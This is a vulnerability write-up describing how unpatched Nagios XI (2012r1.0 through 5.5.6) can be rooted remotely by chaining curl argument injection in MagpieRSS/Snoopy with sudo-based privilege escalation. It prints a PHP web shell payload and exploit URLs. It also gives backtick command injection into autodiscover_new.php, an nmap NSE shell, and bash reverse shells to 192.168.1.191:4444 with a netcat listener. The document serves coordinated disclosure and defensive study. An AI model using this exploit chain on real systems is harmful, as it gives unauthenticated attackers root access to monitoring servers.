Rooting Nagios Via Outdated Libraries

Nagios XI vulnerable since 2012

What’s the deal?

For around six years Nagios XI could be remotely rooted by an unauthenticated attacker. Nagios XI included an outdated library, MagpieRSS (and therefore, Snoopy). The inclusion of this library created an unauthenticated remote code execution (RCE) vector (CVE-2018–15708) until Nagios patched it in late 2018. A separate vulnerability in Nagios XI, CVE-2018–15710, allowed for local privilege escalation (LPE). These vulnerabilities can be combined to gain a root shell on a Nagios XI 5.5.6 instance.

Why does this matter?

Nagios claims to have over 9,000 customers, including companies such as Cisco and PayPal. A search on Shodan.io for “Nagios” yields over 4,000 results.

Vulnerability Details

The RCE vulnerability mentioned above merely gains privileges as the ‘apache’ user. Fortunately (or unfortunately, depending on how you look at it), there have been ways to escalate privileges to root on Nagios XI since version 2012r1.0. Interestingly enough, the LPE vulnerability in version 2012r1.0 is different from the LPE found in 5.5.6.

PHP Code Execution via MagpieRSS and Snoopy

Nagios XI includes a vulnerable component. The code execution vulnerability can be triggered by sending a crafted request to magpie_debug.php. Let’s walk through the code to show how this works. I have added comments to point out the lines of interest. Also, for the sake of brevity, some lines have been removed from the snippets. These lines are denoted by an inline comment of “snip” (e.g. // snip).

Below is magpie_debug.php. This script can be accessed in a web browser without authentication. Notice that the HTTP GET ‘url’ parameter is passed to the fetch_rss() function without prior validation or sanitization.

// snip
// magpie_debug.php
if ( isset($_GET['url']) ) {
$url = $_GET['url']; // 1
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}
test_library_support();
$rss = fetch_rss( $url ); // 2
// snip

The fetch_rss() function is defined in rss_fetch.inc. The function accepts a ‘url’ parameter, and if the cache is disabled, the URL is passed to _fetch_remote_file(). Again, this is performed without prior validation. This pattern will become familiar as we step further into the code.

// rss_fetch.inc
// snip
function fetch_rss ($url) {
// initialize constants
init();

if ( !isset($url) ) {
error("fetch_rss called without a url");
return false;
}

// if cache is disabled
if ( !MAGPIE_CACHE_ON ) {
// fetch file, and parse it
$resp = _fetch_remote_file( $url ); // 3
// snip

Also defined in rss_fetch.inc is the _fetch_remote_file() function. In this function, a Snoopy object is created, and the raw URL is passed to the Snoopy fetch() method.

// rss_fetch.inc
// snip
function _fetch_remote_file ($url, $headers = "" ) {
// Snoopy is an HTTP client in PHP
$client = new Snoopy(); // 4
$client->agent = MAGPIE_USER_AGENT;
$client->read_timeout = MAGPIE_FETCH_TIME_OUT;
$client->use_gzip = MAGPIE_USE_GZIP;
if (is_array($headers) ) {
$client->rawheaders = $headers;
}

@$client->fetch($url); // 5
return $client;
}
// snip

Now we are looking at code in the Snoopy library. The fetch() method will perform an HTTP GET request (by default) against a given URI. As it relates to the vulnerability, when a URI specifies an HTTPS scheme, the _httpsrequest() method will be called. The URI is passed as the second argument, regardless of whether a proxy is used or not.

// Snoopy.class.inc
// snip
function fetch($URI)
{

// preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
$URI_PARTS = parse_url($URI);
if (! empty($URI_PARTS["user"]))
$this->user = $URI_PARTS["user"];
if (! empty($URI_PARTS["pass"]))
$this->pass = $URI_PARTS["pass"];
switch ($URI_PARTS["scheme"]) {
case "http":
// snip
case "https":
if (! $this->curl_path || (! is_executable($this->curl_path))) {
$this->error = "Bad curl ($this->curl_path), can't fetch HTTPS \n";
return false;
}
$this->host = $URI_PARTS["host"];
if (! empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if ($this->_isproxy) {
// using proxy, send entire URI
$this->_httpsrequest($URI, $URI, $this->_httpmethod); //6
} else {
$path = $URI_PARTS["path"] . ($URI_PARTS["query"] ? "?" . $URI_PARTS["query"] : "");
// no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_httpmethod); //6
}
// snip

Finally, we reach the _httpsrequest() method. I only show the call to exec() in this method, though the method definition is much longer. Additionally, I have modified the formatting of the exec call to use multiple lines, so the full invocation is viewable in this snippet.

Anyway, the first argument to exec() is the command string. In this call, the command string is generated by concatenating the path to the curl binary, some parameters, and the URI itself. Notice that the cmdline_params and URI variables are passed to the escapeshellcmd() function prior to concatenation. Sadly, the function is being used incorrectly.

// Snoopy.class.inc
// snip
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
// snip
exec(
$this->curl_path." -D \"/tmp/$headerfile\"".
escapeshellcmd($cmdline_params)." ".
escapeshellcmd($URI), // 7
$results,
$return
);
// snip

As stated in the PHP documentation, “escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass an arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.” The proper function to use is escapeshellarg().

Due to this error, arbitrary arguments may be injected into the curl command.

Constructing the Exploit

Curl has an option (-o) which enables the user to write the HTTP response to a file instead of standard output:

-o, --output FILE Write to FILE instead of stdout

Let’s recap on what we know:

  1. A URI can be specified to magpie_debug.php without authentication.
  2. If an HTTPS URI is given, the curl binary will be exec()’d to request this URI as-is. No validation or sanitization takes place.
  3. Arbitrary arguments can be injected into the curl command.

With this information, the following strategy can be used to execute arbitrary PHP code:

  1. Create an HTTPS listener that is reachable by the Nagios XI instance.
  2. With this listener, host a file containing malicious PHP code.
  3. Craft a request to magpie_debug.php that does the following: a) Specifies a URI pointing to our malicious PHP file. b) Injects the “-o” flag, writing the response to a location on disk. (Note: The location must be writable by the ‘apache’ user and publicly accessible using a web browser.)

To find a suitable directory, I ran this command:

find /usr/local/ -type d -user apache

This command searches for directories in /usr/local/ that are owned by the apache user. Fortunately, many directories were returned, and the /usr/local/nagvis/share/ directory is publicly accessible. I searched in /usr/local/ because Nagios XI is hosted here.

Note: The directory differs between versions 2012r1.0 and 5.5.6.

The Exploit, Really

I won’t show you how to create an HTTPS listener (must be HTTPS), but you can view it in the full exploit code online. Our listener will respond with the following:

<?php system($_GET['cmd']); ?>

Assume the Nagios XI instance is located at https://192.168.1.208, and our listener is at https://192.168.1.191:8080. Using the following URL, we can write the PHP code to /usr/local/nagvis/share/exec.php. Notice that “-o /usr/local/nagvis/share/exec.php” is included in the value of the ‘url’ parameter. This tells curl to output the response to this file.

https://192.168.1.208/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php?url=https://192.168.1.191:8080/%20-o%20/usr/local/nagvis/share/exec.php

Once this request is completed, the attacker can execute arbitrary system commands by requesting a URL like this:

https://192.168.1.208/nagvis/exec.php?cmd=whoami

However, the ‘whoami’ command returns ‘apache’. Let’s take a look at how to escalate privileges to root.

Multiple Local Privilege Escalations

There are two reasons why privilege escalation is possible in version 5.5.6:

  1. A command injection vulnerability exists in a particular PHP script.
  2. This script can be launched using ‘sudo’ without a password due to an entry in the /etc/sudoers file.

Interestingly enough, the same /etc/sudoers configuration is in place in version 2012r1.0, but code execution is gained with a different binary (nmap).

Let’s take a look at 5.5.6 first.

/etc/sudoers

While enumerating the operating system inside an SSH session, I found some intriguing entries in the /etc/sudoers file:

User_Alias      NAGIOSXI=nagios
User_Alias NAGIOSXIWEB=apache
...
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *

These entries enable the ‘nagios’ and ‘apache’ users to execute the ‘autodiscover_new.php’ script with ‘sudo’, and arbitrary arguments can be supplied. No password will be prompted for. Essentially, this entry makes the PHP file as juicy as a root-owned executable with the SUID bit set.

The only question is, how can code be executed with this script?

SourceGuardian PHP Encoder

Ever heard of SourceGuardian? I hadn’t. And I won’t forget it. It’s a protection mechanism that compiles PHP source code and then encrypts it. For the security researcher, this makes life a bit more difficult. Instead of simply being able to read the PHP source of autodiscover_new.php, the source looks like this (though this is only a snippet):

autodiscover_new.php

Notice the call to sg_load() and its argument. The actual string argument to be loaded is much longer. This string is loaded by SourceGuardian to decrypt and execute the compiled byte code.

Fortunately we can still perform dynamic analysis on the script to try and figure out how it works. I first tried to launch the script with the ‘ — help’ flag to see if a help prompt would show.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --help
#/usr/bin/php -q
Nagios XI Auto-Discovery Tool
Copyright (c) 2010-2017 Nagios Enterprises, LLC
Portions Copyright (c) others - see source code
License: Nagios Open Software License <http://www.nagios.com/legal/licenses>
Usage: /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=<scanrange> [--ignore=<ignore>] [--parent=<parent>] [--output=<output>] [--onlynew=<new>]
<scanrange>    = The IP addresses or network ranges to scan.
<ignore> = IP addresses to ignore.
<parent> = Default parent for newly found devices.
<option> = File used to store results.

As you can see, this yielded some results. Based on the output, it’s reasonable to assume that this script will discover devices on a network within a specified IP address range. My first thought was to try and scan localhost.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1
#/usr/bin/php -q
WARNING: No targets were specified, so 0 hosts scanned.
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:07 EST
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.02 seconds
<scanresults>
</scanresults>

My next thought was to provide a CIDR with a prefix of 0 to see if it worked (127.0.0.1/0). I got the same result. Next, I tried a prefix of 1. The results were quite interesting.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1
#/usr/bin/php -q
sh: line 1: 7797 Killed /usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:08 EST
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.35 seconds
<scanresults>
</scanresults>

Based on this output, it looks like the ‘fping’ executable is being launched with our CIDR being incorporated in the command. Immediately this evokes thoughts of the possibility for command injection. Before I got too trigger-happy, I decided to perform an ‘strace’ to watch what system calls take place during execution. Specifically, we are looking for a system call which launches fping (possibly an exec variant).

$ strace -s 200 -f -o strace.txt php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1

Basically, this command will perform a system call trace during the execution of autodiscover_new.php. Forks will be followed (-f), output will be limited to a length of 200 characters (-s 200) instead of 32 by default, and the results will be written to strace.txt.

I found a few lines in the output that verify the possibility of a command injection vulnerability:

execve("/bin/sh", ["sh", "-c", "/usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null"], [/* 26 vars */]) = 0
execve("/usr/sbin/fping", ["/usr/sbin/fping", "-a", "-r", "1", "-g", "127.0.0.1/1"], [/* 25 vars */]) = 0

Clearly, fping is being executed, and our input (“127.0.0.1/1") is concatenated into the command. I’m leaving out some details here because there are loads of resources online about how to find a command injection vulnerability. It requires some trial and error. Trust me when I say, “there is a vulnerability.”

Let’s just see the privilege escalation exploit already!

The 5.5.6 Exploit — autodiscover_new.php

Hold on for one moment. As of now, we know the following:

  1. The /etc/sudoers file allows autodiscover_new.php to be executed with sudo without a password (by ‘nagios’ or ‘apache’).
  2. A command injection vulnerability exists in autodiscover_new.php.

With this in mind, we can exploit the command injection while running the script with sudo to gain a root shell (with no password). Here is the exploit in action. Note that this example is performed by the ‘nagios’ user. The ‘apache’ user isn’t allowed to log into a shell. But remember, they have the same access rights in the /etc/sudoers file.

$ whoami
nagios
$ sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/1`/bin/bash > $(tty)`'
#/usr/bin/php -q
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2012r1.0 Exploit — Elevating Privileges via Nmap Scripting Engine

The privilege escalation technique is similar in the 2012r1.0 version of Nagios XI. Again, there is an entry in /etc/sudoers that enables the ‘apache’ user to execute a command without a password. However, it’s different in this version. Instead of autodiscover_new.php, the ‘nmap’ binary is specified.

But how do we execute shell commands with Nmap? There is a nifty feature of Nmap called the Nmap Scripting Engine (NSE) that allows users to write custom scripts that Nmap can execute. The NSE is based on Lua, so in order to execute shell commands with Nmap, we can write some basic Lua using the ‘os.execute’ function. Again, the test is performed by the ‘nagios’ user.

$ whoami
nagios
$ echo 'os.execute("/bin/bash")' > /var/tmp/shell.nse && sudo nmap --script /var/tmp/shell.nse
Starting Nmap 5.51 ( http://nmap.org ) at 2018-11-06 01:42 EST
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Combining the Exploits

Let’s take a second to remember what we have accomplished:

  1. We have a way to execute PHP code remotely without authentication.
  2. We can locally escalate privileges to gain a root shell.

If we put these two together, we can pop a root shell remotely. Again, we first have to exploit magpie_debug.php to give us PHP code execution. Once we have this, the privilege escalation can be leveraged. However, if we want a remote shell, we will need to alter the payload. I have utilized a common Bash one-liner to connect back to my listening Netcat instance.

Below is the Netcat listener:

$ nc -l 4444

Here is the URL to visit in order to fire off the connect-back. I’ve listed two URLs as they are different depending on the target version of Nagios XI.:

5.5.6

https://192.168.1.208/nagvis/exec.php?cmd=sudo%20php%20%2Fusr%2Flocal%2Fnagiosxi%2Fhtml%2Fincludes%2Fcomponents%2Fautodiscovery%2Fscripts%2Fautodiscover_new.php%20--addresses%3D%27127.0.0.1%2F0%60%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%60%27

2012r1.0

https://192.168.1.208/nagiosql/exec.php?cmd=echo%20%27os.execute%28%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%22%29%27%20%3E%3E%20%2Fvar%2Ftmp%2Fshell.nse%20%26%26%20sudo%20nmap%20-p%2080%20192.168.1.1%20--script%20%2Fvar%2Ftmp%2Fshell.nse

Once the reverse shell connects back, the following output is displayed in the Netcat session. We can interact with the shell as the root user.:

$ nc -l 4444
bash: no job control in this shell
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0

Final Notes

I’d like to point out that these vulnerabilities, while the most severe, were not the only bugs found in Nagios XI. For more information, check out the Tenable Research Advisory. Also, Nagios was a pleasure to work with during the disclosure process. Communications were timely, and a patch was issued very quickly. Take a look at their security issues page for remediation guidance.